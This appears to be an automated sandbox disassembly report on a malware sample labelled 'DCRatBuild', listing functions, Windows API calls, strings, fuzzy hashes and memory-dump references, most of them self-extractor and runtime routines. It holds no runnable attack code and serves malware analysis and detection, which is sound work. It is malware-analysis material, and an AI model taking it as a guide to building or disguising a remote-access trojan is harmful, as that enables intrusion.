_free.LIBCMT ref: 004B9732
_free.LIBCMT ref: 004B973D
_free.LIBCMT ref: 004B9748
_free.LIBCMT ref: 004B9753
_free.LIBCMT ref: 004B975E
_free.LIBCMT ref: 004B976C

Strings

0dL, xrefs: 004B96FC

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: 0dL
API String ID: 776569668-2781978522
Opcode ID: 450c3c082a28eedb65f018d3b73ed5ada6d1ba96f98b6c21b3de483fe014d7be
Instruction ID: e825dbe8c0d18eaff0c8419d0e0321fbd2610366a2e31d4c87c7526b4e1089f1
Opcode Fuzzy Hash: 450c3c082a28eedb65f018d3b73ed5ada6d1ba96f98b6c21b3de483fe014d7be
Instruction Fuzzy Hash: CD119476110109BFCB01EF55C842DD93BBDAF24354B9154AAFA084B262DE35DE50DFA8

Function 004A9711 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004A9736
_wcslen.LIBCMT ref: 004A97D6
GlobalAlloc.KERNEL32(00000040,?), ref: 004A97E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 004A9806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004A982D

Strings

FjunJ, xrefs: 004A982D
</html>, xrefs: 004A97B7
<html>, xrefs: 004A9755, 004A978E
utf-8"></head>, xrefs: 004A976B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004A9760

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: FjunJ$</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4029663861
Opcode ID: 21aca03fa7d978f753e00065a2c569133dc10e587e4d3ad81558845b2555da72
Instruction ID: 66333213fad4ec8ea7b62094bf871f2ecd5e8ef1714e407af42edc50dcb569d3
Opcode Fuzzy Hash: 21aca03fa7d978f753e00065a2c569133dc10e587e4d3ad81558845b2555da72
Instruction Fuzzy Hash: 143139361093017AD725AF269C06FAB77989FA3325F14011FF501962D2EB6CDE0482BD

Function 004AD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 004AD6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 004AD6ED

Part of subcall function 004A1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0049C116,00000000,.exe,?,?,00000800,?,?,?,004A8E3C), ref: 004A1FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 004AD709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 004AD720
GetObjectW.GDI32(00000000,00000018,?), ref: 004AD734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 004AD75D
DeleteObject.GDI32(00000000), ref: 004AD764
GetWindow.USER32(00000000,00000002), ref: 004AD76D

Strings

STATIC, xrefs: 004AD6F3

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 30fbb9c708792692139b87a17e54dac2596f6c44638c4a38f292bf6a57127038
Instruction ID: 077c064d29bfa8b0b70d0f7fa8413f8893578d76fe437dfca8aca125aa1426d2
Opcode Fuzzy Hash: 30fbb9c708792692139b87a17e54dac2596f6c44638c4a38f292bf6a57127038
Instruction Fuzzy Hash: DB1121369003107FE2216F70AC4AFAF765CAF66712F008137FA52A2191DB6C8F5586BD

Function 004B2E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 004B2F50
___TypeMatch.LIBVCRUNTIME ref: 004B305E
_UnwindNestedFrames.LIBCMT ref: 004B31B0
CallUnexpected.LIBVCRUNTIME ref: 004B31CB
_abort.LIBCMT ref: 004B31D0

Strings

csm, xrefs: 004B2F87
csm, xrefs: 004B2E6E
csm, xrefs: 004B2EDB

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: c589c5cbf7d2459e6c21458ea0093e53472b299c138abca86df790f16babb742
Instruction ID: 1379d84643e33fe16eca563c45d38c6bbbe7b9f3234e9a9b34ba435edd0943f1
Opcode Fuzzy Hash: c589c5cbf7d2459e6c21458ea0093e53472b299c138abca86df790f16babb742
Instruction Fuzzy Hash: 94B17A31800209EFCF24EFAAC9809EFB7B9BF04315B14455BE8016B312D779DA11DBA9

Function 0049AF24 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0049AF29

Strings

WQL, xrefs: 0049AFDC
Name, xrefs: 0049B0B0
Windows 10, xrefs: 0049B0C2
nJ, xrefs: 0049AFC0
ROOT\CIMV2, xrefs: 0049AF5C
SELECT * FROM Win32_OperatingSystem, xrefs: 0049AFCA

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10$nJ
API String ID: 3519838083-1706884476
Opcode ID: 6fd99393745f2108e7e214756020f255d2c56ccb0cfecd89cab5977dc4b7e00d
Instruction ID: de9eff2a58cf46400ac25e2f80f667f9bdf6966339ce5fdf79a62b659faf2003
Opcode Fuzzy Hash: 6fd99393745f2108e7e214756020f255d2c56ccb0cfecd89cab5977dc4b7e00d
Instruction Fuzzy Hash: E5718F70A00219AFDF14DF65DC95EAFBBB9FF49315B10416EE412A72A0CB346D01CBA4

Function 00496FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00496FAA
_wcslen.LIBCMT ref: 00497013
_wcslen.LIBCMT ref: 00497084

Part of subcall function 00497A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00497AAB
Part of subcall function 00497A9C: GetLastError.KERNEL32 ref: 00497AF1
Part of subcall function 00497A9C: CloseHandle.KERNEL32(?), ref: 00497B00

Strings

SeRestorePrivilege, xrefs: 00496FC2
UNC\, xrefs: 00497051
SeCreateSymbolicLinkPrivilege, xrefs: 00496FCC
\??\, xrefs: 0049702B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: 5718283c9b6b76404b572e1edf8309631123f8e2b0bfca86f75f0c37041548fe
Instruction ID: e7cc9046da5a6549a66165f64bf7b44785c3102e1d38000a0d4e7cb6a79a30f4
Opcode Fuzzy Hash: 5718283c9b6b76404b572e1edf8309631123f8e2b0bfca86f75f0c37041548fe
Instruction Fuzzy Hash: B941D5B1D18344BAEF20EB719C42FEF7B6C9F05308F00446BF955A6282D67CAA448769

Function 004AB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00491316: GetDlgItem.USER32(00000000,00003021), ref: 0049135A
Part of subcall function 00491316: SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

EndDialog.USER32(?,00000001), ref: 004AB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 004AB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 004AB650
SetWindowTextW.USER32(?,?), ref: 004AB661
GetDlgItem.USER32(?,00000065), ref: 004AB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 004AB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 004AB694

Strings

LICENSEDLG, xrefs: 004AB5D4

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: e485b74a43af8bbce091cd74bec4b991efd18552e0db8418da5d2f71b75c5c74
Instruction ID: b958122a38c631b92119052e764e6ec3d0e40baf4e30e75e9a649ce444c5624e
Opcode Fuzzy Hash: e485b74a43af8bbce091cd74bec4b991efd18552e0db8418da5d2f71b75c5c74
Instruction Fuzzy Hash: 5321F332200204BBE6119F76EC49F7B3B6CFB5BB46F11402AF600965A2CF5A9911D67E

Function 004AFD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,F3417122,00000001,00000000,00000000,?,?,0049AF6C,ROOT\CIMV2), ref: 004AFD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,0049AF6C,ROOT\CIMV2), ref: 004AFE14
SysAllocString.OLEAUT32(00000000), ref: 004AFE1F
_com_issue_error.COMSUPP ref: 004AFE48
_com_issue_error.COMSUPP ref: 004AFE52
GetLastError.KERNEL32(80070057,F3417122,00000001,00000000,00000000,?,?,0049AF6C,ROOT\CIMV2), ref: 004AFE57
_com_issue_error.COMSUPP ref: 004AFE6A
GetLastError.KERNEL32(00000000,?,?,0049AF6C,ROOT\CIMV2), ref: 004AFE80
_com_issue_error.COMSUPP ref: 004AFE93

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 052bec0e05b0d260b9f8c76bdeb9cad6ab3ab4a53860e5673e22f6665b50ffe6
Instruction ID: f663094ad4b940b0da65d73094b12caf6b861f9a1810c86d26ce2d51af9cd563
Opcode Fuzzy Hash: 052bec0e05b0d260b9f8c76bdeb9cad6ab3ab4a53860e5673e22f6665b50ffe6
Instruction Fuzzy Hash: B9410871A00205ABDB109FAACC45FAFBBA8EB55715F10823FF905E7391D738990487A9

Function 00499382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00499387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 004993AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 004993C9

Part of subcall function 0049C29A: _wcslen.LIBCMT ref: 0049C2A2

Part of subcall function 004A1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0049C116,00000000,.exe,?,?,00000800,?,?,?,004A8E3C), ref: 004A1FD1

_swprintf.LIBCMT ref: 00499465

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

MoveFileW.KERNEL32(?,?), ref: 004994D4
MoveFileW.KERNEL32(?,?), ref: 00499514

Strings

rtmp%d, xrefs: 0049944E

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: e13fc6352c1dd129619f5a95fbe3c6fd969387e49bf192141ca014084a976fb4
Instruction ID: 6b90c1e67126b51ede6d6e66b2c22a87d756442aa065c6b25c1e31d864617810
Opcode Fuzzy Hash: e13fc6352c1dd129619f5a95fbe3c6fd969387e49bf192141ca014084a976fb4
Instruction Fuzzy Hash: 2B41827290026475DF21ABA58D45EDF7B7CAF51344F0048BFB609A3151DA3C8F898B68

Function 00491100 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0049112B
_wcslen.LIBCMT ref: 00491153
_wcslen.LIBCMT ref: 00491182
_wcslen.LIBCMT ref: 004911A9

Strings

pJ, xrefs: 00491205, 00491233
UJ, xrefs: 0049120D, 0049123B
zJ, xrefs: 00491219

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: UJ$pJ$zJ
API String ID: 176396367-3819926901
Opcode ID: 46629b9dd1f047440097a2e501ace831baf0f1043daa8e573e1ce257b0813df6
Instruction ID: 0175c6f05f9074b2b365f22b94399e20cb0bebdabc673bbc59e210332f01aa40
Opcode Fuzzy Hash: 46629b9dd1f047440097a2e501ace831baf0f1043daa8e573e1ce257b0813df6
Instruction Fuzzy Hash: 2E41C471A0066A5BCB11AF698C059EF7BB8EF01315F00402FF945F7255DE34AE558AA8

Function 004A9ED5 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 004A9EEE
GetWindowRect.USER32(?,00000000), ref: 004A9F44
ShowWindow.USER32(?,00000005,00000000), ref: 004A9FDB
SetWindowTextW.USER32(?,00000000), ref: 004A9FE3
ShowWindow.USER32(00000000,00000005), ref: 004A9FF9

Strings

RarHtmlClassName, xrefs: 004A9FA5
J, xrefs: 004A9F52, 004A9F87

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Window$Show$RectText
String ID: J$RarHtmlClassName
API String ID: 3937224194-751939351
Opcode ID: 6c7e2ac19ec1c36360a4cfbcb4615d44d8dfc635b6f7c37eb14788f01b179aeb
Instruction ID: 461d138edf80869423c0509cad094063a2786c08bf27821e43900a8a95be1c40
Opcode Fuzzy Hash: 6c7e2ac19ec1c36360a4cfbcb4615d44d8dfc635b6f7c37eb14788f01b179aeb
Instruction Fuzzy Hash: A8410231008310EFDB219F65DD48B7B7BA8FF59716F00452AF9099A156CB38DD24CB6A

Function 004A1218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004A122E

Part of subcall function 0049B146: GetVersionExW.KERNEL32(?), ref: 0049B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 004A1251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 004A1263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 004A1274
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A1284
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A1294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 004A12CF
__aullrem.LIBCMT ref: 004A1379

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: f32777bfbd3b270e8392a1abb277511db75c35e92f4f00f6e888d1c29f0fda63
Instruction ID: 58aaed64854dae9ad679816e367d99ebffe5db3ef850b26f6c623ec8ed5477f9
Opcode Fuzzy Hash: f32777bfbd3b270e8392a1abb277511db75c35e92f4f00f6e888d1c29f0fda63
Instruction Fuzzy Hash: B24148B2408305AFC710DF65C88096BBBF9FF88315F04892EF996C2210E738E609CB56

Function 00492210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00492536

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

Part of subcall function 004A05DA: _wcslen.LIBCMT ref: 004A05E0

Strings

x%u, xrefs: 004926FD
xc%u, xrefs: 0049275A
;%u, xrefs: 00492523

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 6dcaece89dd07bd5e9b269a50763a19dba235d4c479f965ee06a7e2b4a6a3c80
Instruction ID: 6c292c202eb496c699a7e274eb8bdd88d0aa193cd905711cc3f6ed480ebccf6f
Opcode Fuzzy Hash: 6dcaece89dd07bd5e9b269a50763a19dba235d4c479f965ee06a7e2b4a6a3c80
Instruction Fuzzy Hash: CCF13870604340ABDF24EB2586D5BEE7F955B91304F08097FEC869B383CBAC9945C76A

Function 004A9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004A9D0A

Strings

<style>, xrefs: 004A9E30
</style>, xrefs: 004A9E52
<br>, xrefs: 004A9DFE
>, xrefs: 004A9D4B
</p>, xrefs: 004A9DE8

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 68cb4b48f71e2368d9402b99842523074112fbad1b5defd40d9c56c9049655c4
Instruction ID: fe296f40557a5bb0eab1ab2327ec3d08d6b9cca8def06fe0d8bd3d09baa5f351
Opcode Fuzzy Hash: 68cb4b48f71e2368d9402b99842523074112fbad1b5defd40d9c56c9049655c4
Instruction Fuzzy Hash: 7351E36674132295DB309A259821B7773E0DFB3750F68442BF9C18B3C1FB6D8C81826D

Function 004BF68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,004BFE02,00000000,00000000,00000000,00000000,00000000,?), ref: 004BF6CF
__fassign.LIBCMT ref: 004BF74A
__fassign.LIBCMT ref: 004BF765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 004BF78B
WriteFile.KERNEL32(?,00000000,00000000,004BFE02,00000000,?,?,?,?,?,?,?,?,?,004BFE02,00000000), ref: 004BF7AA
WriteFile.KERNEL32(?,00000000,00000001,004BFE02,00000000,?,?,?,?,?,?,?,?,?,004BFE02,00000000), ref: 004BF7E3

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
